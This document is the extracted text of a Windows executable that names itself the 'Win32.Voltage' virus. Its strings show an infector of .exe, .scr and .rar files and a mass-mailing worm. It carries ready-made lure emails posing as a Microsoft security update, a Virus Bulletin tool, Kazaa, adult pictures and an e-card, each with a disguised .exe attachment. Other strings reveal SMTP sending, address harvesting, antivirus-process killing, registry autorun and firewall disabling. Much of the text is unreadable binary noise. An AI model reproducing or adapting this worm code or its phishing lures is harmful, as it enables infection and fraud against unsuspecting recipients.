MZP @ !L!This program must be run under Win32
$7 PE L 2Y X jf p @
P CODE ` X DATA p ^ @ .idata ^ @ .reloc ` @ P U ]
@ dg BtJ@% f8MZt- @ @<@x @ P3ҋ@ @ 8 @ OG@ t B? tGXX$ @ fX @ ڋ @ @ ( #@ W @ @ U 3PPO@ PP @ Y@ rjY@ @ N d Dž K@ J@ Pk @ tJ@ SP @ t K@ User32.dll k @ MessageBoxA P @ @ 3PP"@ SPP @ Q@ 3PPZ@ SPP @ ƅ]@ % @ P @ f' @ u"f+ @ u]@ j@ @ PPj @ ƅU@ zU@ P @ tuU@ P @ t U@ U@ bujQ@ @ jY@ @ P @ z:\ ^@ P`@ P @ @ ^@ uA@ .K @ @ P @ t]@ P @ @ ]@ u@ P @ Y@ P @ Ph @ P @ @ 8 t@ 8.exet 8.scrt8.rart ƅd@ ~@ = ( = 0 } PY@ d@ th3;E tbO s[ K@ tFK@ 3 h K@ Pj @ P3PP @ t K@ Pj K@ u d ƅd@ ^@ P@ @ x@ @ .. *.* j @ P
kernel32.dll [ ExitProcess Y@ D
$ msvcrt.dll [ _exit Y@
X msvcrt.dll [ exit Y@ ? h k@ Pj s @ 2 3PPjPjh k@ PW @ j@ j P{ @ n@ 3PPPjPj@ _ @ r@ 3PPPjr@ c @ v@ 3PPjPjh @ PW @ c z@ 3P~@ n@ *P3PjPz@ _ @ ~@ ~@ n@ *P3PPj~@ c @ @ 8Rar! x 3v@ n@ W @ @ @ ` @ m> $aan@ @ @ 3@ ( f@ @ @ ~@ W* v@ _*n@ @ P@3 [fC@ g @ ~@ [ @ z@ [ @ v@ g @ r@ [ @ j@ [ @ j j ~@ z@ @ z@ @ t * 0
ReadMe.exe2Bs5 u ]@ P @ @ Pj h @ u @ P3PP @ GetProcAddress CreateFileA CloseHandle CreateFileMappingA MapViewOfFile UnmapViewOfFile LoadLibraryA FreeLibrary GetModuleFileNameA SetFileAttributesA GetFileSize SetFilePointer SetEndOfFile GetTickCount GlobalAlloc GlobalFree GetLocalTime GetFileAttributesA GetFileTime SetFileTime CreateMutexA OpenMutexA FindFirstFileA FindNextFileA SetCurrentDirectoryA WriteFile FindClose MultiByteToWideChar lstrcatA CreateThread GetModuleHandleA Sleep WaitForSingleObject ExitThread ExitProcess GetDriveTypeA GetFullPathNameA WinExec VirtualProtect SetUnhandledExceptionFilter DeleteFileA Win32.Voltage Virus Written By DR-EF (c) 2005 Z @ Pk @ g @ @ qH ADVAPI32.DLL RegOpenKeyExA RegCloseKey RegQueryValueExA *.* f8MZurP@< ta$p tV4$`> t 8uGFaa $3WSPQR3t$3ɀ< tAAtZYX[_; uX3ZYX[_p4$R jjV @ Z^x, =- z"@ P @ "@ Y@ f8MZ H@ @@ P@@ H@ : , # ?@ 8250 j &@ 2w j*A>@ PE&@ dw j'k>@ P1&@ w j%>@ P &@ w j >@ P j'>@ P@@ H@ ?@ 8250 x 3ɋJ@ fJ@ vUQj j ?@ R@@ H@ V3AF> u^j QVF@@ H@ j j ?@ P@@ H@ z Yf'@ (r fDž'@ 3f'@ '@ Qj j ?@ R@@ H@ 3VAF> u^j QVF@@ H@ j j ?@ P@@ H@ Yj j?@ P@@ H@ x j a ?@ 8354 O j &@ 2w ja+@ PE&@ dw jHM,@ P1&@ w jT,@ P &@ w jR,@ P jn;-@ P@@ H@ j hp -@ P@@ H@ j &@ 2whR /@ PQ&@ dwh
k2@ P:&@ wh3 u4@ P#&@ wh 7@ P hb ;@ P@@ H@ D@ D@ j QP@@ H@ j j >@ P@@ H@ j j>@ P@@ H@ @@ H@ G@ D@ @ G@ o @ J@ @ '@ @ &@ @ P @ ]&@ j h ?@ P@@ H@ Í'@ Pk @ } '@ '@ SP @ tX3Qj '@ SQЃuD'@ P @ h j@ @ t%'@ Džh+@ fDž'@ ƅl+@ : '@ o @ Shell32.dll SHGetSpecialFolderPathA @ P @ P @ tu @ @ u> @ .t@ @ @ P @ tX% @ ]@ P @ @ % @ P @ @ u @ @ P*+@ Q @ &+@ X3ɀ< tA<.htmt<.aspt
<.xmlf j h jj jh PW @ D Y@ 3PPPjPY@ _ @ Y@ j Y@ { @ = @ = d+@ 3PPPjY@ c @ Y@ d+@
'@ ? tGDžh+@ 8mailumxlto:udl+@ t? u tG8?t08"t+8@t8.t8z 80s @Gh+@ f'@ Gƅl+@ h+@ @Y@ g @ Y@ [ @ Y@ [ @ &+@ @ ]/+@ Y@ g @ Y@ [ @ Y@ [ @ +h+@ +@ Pk @ t/+@ PR @ tj j+@ SЃ t Ro @ Wininet.dll InternetCheckConnectionA http://www.google.com/ From:Microsoft Security Alert
Subject:Microsoft Security Update
From:WorldSex.com
Subject:Your Dayly Pictures
From:Virus Bulletin
Subject:A New Tool From Virus Bulletin
From:Kazaa.com
Subject:Get YourSelf Kazaa Media Desktop !!!
From:Greeting-Card.com
Subject:You've got an e-card at greeting-cards.com
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="bound1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
This is a multi-part message in MIME format.
--bound1
Content-Type: text/plain;
charset="windows-1255"
Content-Transfer-Encoding: 7bit
Dear Microsoft Customer
A new vulnerability has been discovered in Internet Explorer
we recommending you to update internet explorer as soon as
possible, this vulnerablility is critical and may allow
execution of malicious code on your system while you use internet
explorer.
vulnerable versions:
Internet Explorer 5.0
Internet Explorer 6.0
if you using one of this versions please install attached update.
Thank You.
The Microsoft Security Team.
If you do not wish to receive future Security Update E-mail from
Microsoft, or believe you were subscribed in error, please send
a blank E-mail to SecurityUpdate@microsoft.com
--bound1
Content-Type: application/octet-stream;
name= "Internet Explorer Update.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename= "Internet Explorer Update.exe"
150 XXX Pictures For You !!!
here are your dayly xxx pictures.
Have Fun & Enjoy...
we like to inform you that your account at
our web site will be expired at the end of
this month,please renew your account
renew of account for old members is only 25$
per half year.
Please Visit Our Web Site:
http://www.WorldSex.com/
--bound1
Content-Type: application/octet-stream;
name= "150_XXX_Pictures.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename= "150_XXX_Pictures.exe"
Dear Symantec/F-Secure/Mcafee/Trend Micro User
We Have Developed A New Tool That Can Block New
Internet Worms From Attacking Your Computer,We
Recommending To Install This Tool Before A New
Internet Worm Will Start To Spread
How To Use The Tool:
Just Run The Attached File,After You Have Run It
Follow The Instructions.
Thank You.
The Virus Bulletin Security Team.
For More Information Please Visit Our Web Site:
http://www.virusbtn.com/
If you do not wish to receive future antivirus tools from
Virus Bulletin, or believe you were subscribed in error,
please send,a blank E-mail to Subscribe@Virusbtn.com
--bound1
Content-Type: application/octet-stream;
name= "Antivirus Update.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename= "Antivirus Update.exe"
Dear User.
Sharman Networks Wants To offer You The New
Version Of Kazaa !!!
Please Read Product Description Below:
Kazaa Media Desktop is the world's No. 1
free, peer-to-peer, file-sharing software
application. Features include improved
privacy protection; the ability to search
for and download music, playlists, software,
video files, documents, and images; the
ability to set up and manage music and video
playlists; and the ability to perform
multiple simultaneous searches, including
up to five Search Mores, which deliver up
to 1,000 results per search term.
We Have Included A Free Version Of Kazaa In
This Mail,Try It !!!
Thank You.
Sharman Networks.
If you do not wish to receive future E-mail's from
Sharman Networks, or believe you were subscribed in
error, please send a blank E-mail to Remove@kazaa.com
--bound1
Content-Type: application/octet-stream;
name= "Kazaa Media Desktop.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename= "Kazaa Media Desktop.exe"
Greeting-Cards.com have sent you a Greeting Card
One Of Your Friends Wish You Happy Year
Love,Fun,Good Life,And Good Luck.
To Show His Love He Sent You A Greeting
Card,Congratulations !
Hope you enjoy our e-cards! Spread the love and send one of our FREE e-cards!
Brought to you by greeting-cards.com - a better way to greet for FREE!
Please Visit Greeting Cards Web site:http://www.greeting-cards.com/
--bound1
Content-Type: application/octet-stream;
name= "Your Greeting Card.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename= "Your Greeting Card.exe"
--bound1--
.
HELO
MAIL FROM:
MAIL FROM:
MAIL FROM:
MAIL FROM:
MAIL FROM:
QUIT
RCPT TO:<>
DATA
@@ Ph G@ | jjjG@ te@@ j
H@ fA@ fDžA@ lF@ PG@ t)@ A@ jA@ P@@ G@ u@@ H@ G@ h C@ Pj s @ j h jj jh C@ PW @ D@ j D@ { @ D@ P3ҹ X Pj@ @ D@ 3PPPjPD@ _ @ tnD@ 3PPPjD@ c @ tDD@ D@ D@ i D@ D@ g @ D@ [ @ D@ [ @ D@ [ @ D@ @ D@ [ @ 3RR33
F
F
FQ ? E@ \YZ$rLu3f
$XABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/Dže@ e@ P3PP F@ Ph @ G@ PF@ P3PPKF@ Pe@ @ uwF@ P
G@ P @ t^e@ Ph j
G@ Pe@ @ u8F@ PlF@ P3PP`F@ Pe@ @ ue@ @ e@ @ Software\Microsoft\Internet Account Manager Default Mail Account SMTP Server K K Accounts\ G@ Pk @ t G@ G@ G@ = ws2_32.dll WSAStartup WSACleanup socket gethostbyname connect recv send htons closesocket Dže@ e@ P3PPI@ Ph @ _ J@ PI@ P3PPPe@ @ + e@ @ 3Ph jPjh I@ PW @ J@ 3PPPjPJ@ _ @ uJ@ [ @ J@ 3PPPjJ@ c @ uJ@ [ @ ÉJ@ f@df= wJ@ g @ fJ@ fD f3fSj@ @ t҉J@ 3ɋJ@ fJ@ @`QD 8 t CIC YJ@ g @ J@ [ @ J@ [ @ e@ @ Software\Microsoft\WAB\WAB4\Wab File Name SFC.DLL SfcIsFileProtected @ P @ *M@ h @ Pw @ *M@ @ Pw @ j j PY@ @ Y@ @ j j Y@ Y@ @ Y@ @ Y@ g @ Y@ [ @ Y@ PY@ PY@ PY@ @ Y@ [ @ 3Ph jPPh @ PW @ Y@ Y@ PY@ PY@ PY@ @ 3PY@ $jV PjPY@ _ @ t>Y@ Y@ $jV 3PPjY@ c @ tY@ Y@ [ @ Y@ [ @ @ R %@ = w ƅO@ '= w ƅO@ =p w ƅO@ ƅO@ O@ 3 O@ O@ u(O@ uO@ O@ u+O@ 3O@ NjO@ } ~ O@ \ r f@ `f1f- q ?R ;q Rich9q PE L o B @ 0 @ P @ .rdata f @ @.data P @ < *
s L Z < *
s WaitForSingleObject D CreateProcessA $GetModuleFileNameA KERNEL32.dll [RegCloseKey RegSetValueExA rRegOpenKeyExA ADVAPI32.dll WS2_32.dll cmd Start SYSTEM\CurrentControlSet\Services\SharedAccess Voltage Manager Software\Microsoft\Windows\CurrentVersion\Run SUVW3۹ 3|$<\$8h D$ $ D$$QSD$ \$$D$0@ 5 @ T$Rh ShL @ h =@ -@ u L$D$|h PjSh< @ QT$RՍD$Ph Sh @ h օu T$L$jQjSh @ RD$PՍ$ Qh 8@ jjj4@ h 0@ T$(jRWfD$6fD$4 \$8,@ (@ -@ jW$@ tj j WӋD$L$8PQj j j jj j h @ j D$`D $ $ $ DŽ$ fDŽ$ jT$ R@ V @ _^]3[ @ 3ɀ<vt<Vtu< tAV Le@ f ff;tTf f;tJf F> u4$ع Ve@ 4$ ;t! ;t F> u4$^^FPTBAWDRF-INOCPANDANTIAMONN32SNOD3NPSSSMSSSCANZONEPROTMONIRWEBMIRCCKDOTROJSAFEJEDITRAYANDASPIDPLORNDLLTRENNSPLNSCHSYSTALER QRPPR @ tX@8 u@ZYÃ Ë4$U xV46 F j c:\not_me.txt ( týjV 3hf@ `lP @ j @ %0@ ( 8 0 F F KERNEL32.dll _lopen P 0:0F0R0Z0b00000000000001
11 1&101F1^1d1|1111111111111111 22!2'22282@2F2M233334%40474J4X444444445 55,5@5T5i555556$6333333
44 4C4435:5N56+6:6C6R6`6f6u66666666666677 7,7J7P7[7a7g7s77777777777 88 888 87M8$8*80868<8B8S8Y8_8e89>=9999:7=J=P= 0000l1r1111111122~00 22&2222223 2M2222 3(3>3E3K3q333333333333
4 4%454<4B4Z4`4j4q4w4444444444444 55
535G5R5[5f5o5z55555555555555
66$62696?6E6K6U6[6e6l6r6666666666667
76666666 7;7a7n7777-737K7Z7y77777888889999.949;9C9N9U9t99999:-:::O:U:u:::::[9f9l9{999:@:g::: ;;!;2;>;J;V;v;;;:;;;8;D;P;^;o;;; @ t 1112 202C2I2V222222211112#2*2=2_222223F3R3^3l3x3333"3)3/3:3@3L3X3f3r3~34B5L5W5r5y5555555555c55555 665566`7r7~778 8)8D8K8W8l88888g758]8r8888889/9x99998888 99:9C9J9r9~999=
= =%=0=6===T=`=w=======N=Z=k=q=}==========> >>!>2>C>I>\>m>u>>>>>>==>8>b>{>>?>>>>??? ?(?V?? P \
0 0,020&0+212D2X23-3G3S3Y3M3_3t33333355
6655 :$:+:2:m:::::E:f::: ` 45456666